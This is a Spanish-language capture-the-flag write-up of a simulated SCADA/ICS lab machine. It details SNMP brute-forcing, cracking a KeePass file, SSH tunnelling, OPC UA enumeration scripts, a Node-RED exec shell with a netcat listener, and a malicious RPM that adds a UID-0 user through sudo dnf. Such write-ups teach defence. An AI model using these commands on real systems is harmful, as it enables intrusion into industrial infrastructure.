· Manuel López Pérez · writeups  · 7 min read

CyberH2O: Reto 3 – Pentesting en Entornos SCADA/ICS

Write-up de la tercera y última máquina del cyberchallenge de CyberH2O, un entorno industrial con SNMP, OPC UA, Node-RED y escalada de privilegios.

Write-up de la tercera y última máquina del cyberchallenge de CyberH2O, un entorno industrial con SNMP, OPC UA, Node-RED y escalada de privilegios.

🏆 ¡El equipo Ironhackers resultó ganador del CyberH2O Cyberchallenge y del premio de 1.500€! 🏆

CyberH2O

En esta tercera y última entrega del cyberchallenge de CyberH2O, nos enfrentamos a un escenario más complejo: un entorno de control industrial híbrido. La intrusión se desarrolló en varias fases encadenadas y realistas.

Conseguimos resolver los 4 retos de esta máquina, desde el reconocimiento inicial hasta obtener acceso completo como root.


Resumen Ejecutivo

El ataque comenzó con la enumeración de un servicio SNMP expuesto mediante una community string por defecto, lo que permitió obtener la primera flag y credenciales reutilizadas posteriormente.

A partir de esta información se accedió a un servicio web protegido por autenticación básica, donde se descubrió una base de datos KeePass con credenciales adicionales.

Estas credenciales facilitaron el acceso por SSH al sistema. Desde el host se identificaron servicios internos no expuestos externamente, entre ellos OPC UA y Node-RED, tecnologías habituales en entornos SCADA.

La explotación de una configuración insegura en OPC UA permitió recuperar nuevas credenciales, que posteriormente otorgaron acceso administrativo a Node-RED.

El control total de Node-RED permitió la ejecución de comandos arbitrarios en el sistema, obteniendo una shell interactiva. Finalmente, una mala configuración de sudo permitió escalar privilegios hasta root, completando el compromiso total del sistema.

FaseVectorResultado
ReconocimientoSNMP (161/udp)Flag 1 + credenciales
ExplotaciónWeb 58980KeePass + Flag 2
AccesoSSHShell usuario
EnumeraciónOPC UACredenciales + Flag 3
RCENode-REDShell interactiva
Privescsudo + dnfRoot (Flag 4)

Fase de Reconocimiento y Enumeración

Escaneo de Puertos TCP

Iniciamos con un barrido de todos los puertos TCP utilizando nmap:

nmap -p- -T4 192.168.56.102

Escaneo TCP

Este escaneo inicial reveló dos puertos abiertos:

  • 22/tcp: SSH
  • 58980/tcp: Servicio desconocido inicialmente

Enumeración de versiones y scripts:

nmap -sC -sV -p 22,58980 192.168.56.102

Escaneo detallado

Resultados:

  • 22/tcp (SSH): Identificado como OpenSSH 9.9
  • 58980/tcp (HTTP): Servidor nginx 1.26.3. Responde con 401 Unauthorized y solicita autenticación bajo el realm “Restricted Access - Cyberchallange”

Escaneo de Puertos UDP

Dado que los entornos industriales (ICS) suelen utilizar protocolos basados en UDP, realizamos un escaneo dirigido:

nmap -T4 -sU -p- 192.168.56.102

Escaneo UDP

Este escaneo fue crucial, ya que reveló un servicio adicional:

  • 161/udp: SNMP (Simple Network Management Protocol)

Reto 1: Enumeración SNMP

Descubrimiento de Community String

Al identificar el puerto 161 abierto, procedimos a auditar el servicio SNMP. El primer paso fue descubrir la community string mediante un ataque de diccionario:

onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 192.168.56.102

La herramienta identificó exitosamente la community string pública por defecto: public.

Extracción de Información (SNMP Walk)

Una vez confirmado el acceso, enumeramos el árbol SNMP:

snmpwalk -v2c -c public 192.168.56.102

SNMP Walk

Con el OID del sistema, enumeramos la rama enterprises:

snmpwalk -v2c -c public 192.168.56.102 iso.3.6.1.4.1

SNMP Walk

Información Exfiltrada:

  • Servicio: localhost:58980
  • Usuario: sesame
  • Contraseña: RcAfRMFH7ULHTyPMSTgA

Flag 1: HACK{RcA_fRMFH7ULHT_yPMSTgA}


Reto 2: Acceso Web y Exfiltración de Datos

Autenticación en el Panel de Control

Al navegar a http://192.168.56.102:58980, el servidor solicitó autenticación HTTP Basic Auth. Introdujimos las credenciales obtenidas:

  • Usuario: sesame
  • Contraseña: RcAfRMFH7ULHTyPMSTgA

SNMP Enterprises

El acceso fue exitoso, revelando un panel de control “CyberChallenge 2025”.

Panel de control

Enumeración de Directorios (Fuzzing Autenticado)

Para descubrir rutas ocultas, utilizamos ffuf con las credenciales codificadas en Base64:

echo -n "sesame:RcAfRMFH7ULHTyPMSTgA" | base64
# c2VzYW1lOlJjQWZSTUZIN1VMSFR5UE1TVGdB
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -H "Authorization: Basic c2VzYW1lOlJjQWZSTUZIN1VMSFR5UE1TVGdB" \
  -u http://192.168.56.102:58980/FUZZ

FFUF

El escaneo reveló un directorio accesible: /uploaded_temp.

Directorio uploaded_temp

Exfiltración y Cracking de Base de Datos KeePass

Al acceder a /uploaded_temp, encontramos un archivo sospechoso: cyberchallange.kdbx.

wget --user sesame --password RcAfRMFH7ULHTyPMSTgA \
  http://192.168.56.102:58980/uploaded_temp/cyberchallange.kdbx

Exfiltración de KeePass

Crackeo de la contraseña maestra:

python3 bfkeepass.py -d cyberchallange.kdbx -w /usr/share/seclists/Passwords/rockyou.txt

Cracking KeePass

Contraseña maestra: iloveyou

Obtención de Credenciales y Flag 2

Abrimos el archivo en KeePassXC y encontramos una entrada crítica bajo el título [[SCADA]]:

KeePassXC

Flag 2: HACK{VG8F7jraHfLf5lvWlVzzVw}

Credenciales de Sistema:

  • Usuario: control
  • Contraseña: Bash5-Fragrant9-Flashcard6-Lake6-Undercoat8

Reto 3: Movimiento Lateral y Servicios Internos

Acceso SSH y Enumeración Local

Con las credenciales extraídas de KeePass, establecimos conexión SSH:

ssh control@192.168.56.102

SSH Access

Utilizamos LinPEAS para enumerar posibles vectores de escalada. Descubrimos servicios internos no accesibles desde el exterior:

LinPEAS

  • 4840/tcp: OPC UA (Unified Architecture)
  • 1880/tcp: Node-RED
  • 199/tcp: SMUX (SNMP Multiplexing)

Pivoting (Túnel SSH)

Para interactuar con estos servicios internos, configuramos túneles SSH:

ssh -L 4840:localhost:4840 -L 1880:localhost:1880 control@192.168.56.102

Para verificar que los servicios internos están disponibles, ejecutamos un escaneo de puertos:

nmap -p- -T4 localhost

Túnel SSH

Enumeración OPC UA

OPC UA es un protocolo industrial para comunicación entre sistemas SCADA. Utilizamos un script Python para enumerar el servicio:

from opcua import Client, ua

URL = "opc.tcp://localhost:4840/freeopcua/server/"

client = Client(URL)

# No conectamos sesión, solo pedimos endpoints
endpoints = client.connect_and_get_server_endpoints()

for i, ep in enumerate(endpoints, 1):
    print(f"\nEndpoint {i}:")
    print(f"  EndpointUrl: {ep.EndpointUrl}")

    # Security Mode
    mode = ua.MessageSecurityMode(ep.SecurityMode)
    print(f"  Security Mode: {mode.name}")

    # Security Policy
    policy = ep.SecurityPolicyUri.split("#")[-1]
    print(f"  Security Policy: {policy}")

    # User Identity Tokens
    print("  User Identity Tokens:")
    for token in ep.UserIdentityTokens:
        token_type = ua.UserTokenType(token.TokenType)
        print(f"   - {token_type.name}")

OPC UA Enumeration

De esta enumeración se extrajeron las siguientes conclusiones:

  • El servidor no permite acceso anónimo.
  • El canal OPC UA requiere cifrado obligatorio (SignAndEncrypt).
  • La autenticación se basa en identidad asociada a certificado cliente. El token UserName está presente, pero las credenciales reutilizadas del servicio HTTP del puerto 58980 no eran válidas. Dado que OPC UA permite autenticación basada en certificados X.509, se generó un certificado cliente válido:
openssl req -x509 -newkey rsa:2048 -nodes \
  -keyout opcua_client_key.pem \
  -out opcua_client_cert.pem \
  -days 365 \
  -subj "/CN=opcua-client"

openssl x509 -in opcua_client_cert.pem -outform der -out opcua_client_cert.der

Se utilizó un script de nuevo para establecer conexión segura al servidor OPC UA empleando el certificado cliente generado. Este script recorre todos los nodos del servidor OPC UA y muestra sus variables.

from opcua import Client, ua

URL = "opc.tcp://localhost:4840/freeopcua/server/"
client = Client(URL)
client.set_security_string(
    "Basic256Sha256,SignAndEncrypt,opcua_client_cert.der,opcua_client_key.pem"
)
client.connect()
print("[+] Connected")

objects = client.get_objects_node()

def read_vars(node):
    try:
        for child in node.get_children():
            try:
                if child.get_node_class() == ua.NodeClass.Variable:
                    name = child.get_browse_name().Name
                    val = child.get_value()
                    print(f"[VAR] {name} = {val}")
                read_vars(child)
            except Exception:
                pass
    except Exception:
        pass

read_vars(objects)
client.disconnect()
print("[+] Done")

Ahora sí, por fin vemos algo interesante, entre todo el ouput que genera este script vemos:

OPC UA Variables

Descifrado y Flag 3

Identificamos que las cadenas utilizaban un cifrado por desplazamiento (César/ROT). Al probar diferentes rotaciones, determinamos que se trataba de ROT14 (incluyendo la ‘ñ’ en el alfabeto).

ROT14 Decoding

Flag 3: HACK{U58O2mMy9uEQRZw5EbD5rw}

Credenciales Node-RED: admin : Battered5-Infatwo3-Supervisor0


Reto 4: Escalada de Privilegios a Root

Acceso a Node-RED y RCE

Con las credenciales recuperadas del servicio OPC UA, accedimos al panel de administración de Node-RED a través del túnel SSH en el puerto 1880.

Node-RED Panel

Node-RED permite crear flujos de datos visuales. Construimos un payload para obtener una shell:

  1. tcp in: Escucha en el puerto 1337 en localhost.
  2. exec: Ejecuta el payload como comando de sistema.
  3. tcp out: Envía la salida del comando de vuelta.

Node-RED Flow

Configuramos el nodo TCP IN:

Configuracion nodo TCP IN

Tras desplegar el flujo, nos conectamos al puerto de escucha:

ssh -R 1337:localhost:1337 control@192.168.56.102
nc -lvp 1337

Reverse Shell via Node-RED

Confirmamos acceso como el usuario supervisor.

Enumeración de Privilegios (Sudoers)

Verificamos los permisos de superusuario:

sudo -l

Sudo -l

La salida reveló una configuración insegura:

User supervisor may run the following commands on control-hidrico:
    (ALL) NOPASSWD: /usr/bin/dnf

Creación del Exploit (RPM Malicioso)

Consultando GTFOBins, confirmamos que es posible escalar privilegios utilizando dnf mediante un paquete RPM modificado:

GTFOBins

# 1. Definimos una carpeta temporal y creamos el script de post-instalación
TF=$(mktemp -d)
cat > $TF/pwn.sh << 'EOF'
#!/bin/bash
useradd -o -u 0 -g 0 adminroot
echo 'adminroot:adminroot' | chpasswd
EOF

# 2. Damos permisos de ejecución
chmod +x $TF/pwn.sh

# 3. Construimos el paquete RPM malicioso
fpm -n x -s dir -t rpm -a all --before-install $TF/pwn.sh $TF

Este script crea un paquete RPM que ejecuta el script pwn.sh como post-instalación. El script pwn.sh crea un nuevo usuario adminroot con UID y GID 0, y le asigna la contraseña adminroot. Creating malicious RPM

Ejecución de la Escalada

Transferimos el archivo a la máquina víctima y ejecutamos:

Transferencia SFTP

sudo dnf install -y /tmp/x-1.0-1.noarch.rpm --disablerepo=*

Installing RPM

Finalmente, cambiamos al nuevo usuario administrativo:

su adminroot
# Password: adminroot

Root Access

Flag 4 (Root): HACK{RmCadtMz7cas9FPJ!bvh}


Conclusiones

La resolución de este reto pone de manifiesto cómo una cadena de fallos de configuración y malas prácticas de seguridad, individualmente sencillos, puede combinarse para comprometer por completo un entorno de control industrial.

VulnerabilidadImpacto
SNMP con community string por defectoFuga de credenciales
Directorio web expuestoExfiltración de KeePass
Contraseña débil en KeePassAcceso a credenciales internas
OPC UA mal configuradoFuga de credenciales adicionales
Node-RED con privilegios excesivosRCE como usuario supervisor
Sudo mal configurado con dnfEscalada a root

El compromiso progresivo del sistema, desde servicios como SNMP y OPC UA hasta servicios de automatización como Node-RED y el propio host, refleja un escenario realista en infraestructuras industriales modernas, donde la falta de segmentación entre dominios IT y OT puede derivar en un impacto crítico.

📖 ¿Quieres saber más sobre el reto bonus de AI Hacking? Hemos escrito un artículo dedicado sobre seguridad en LLMs y cómo resolvimos el reto del Agente A.D.I.C. 7: Seguridad en LLMs: Modelado de Amenazas y Prompt Injection

Back to Blog

Related Posts

View All Posts »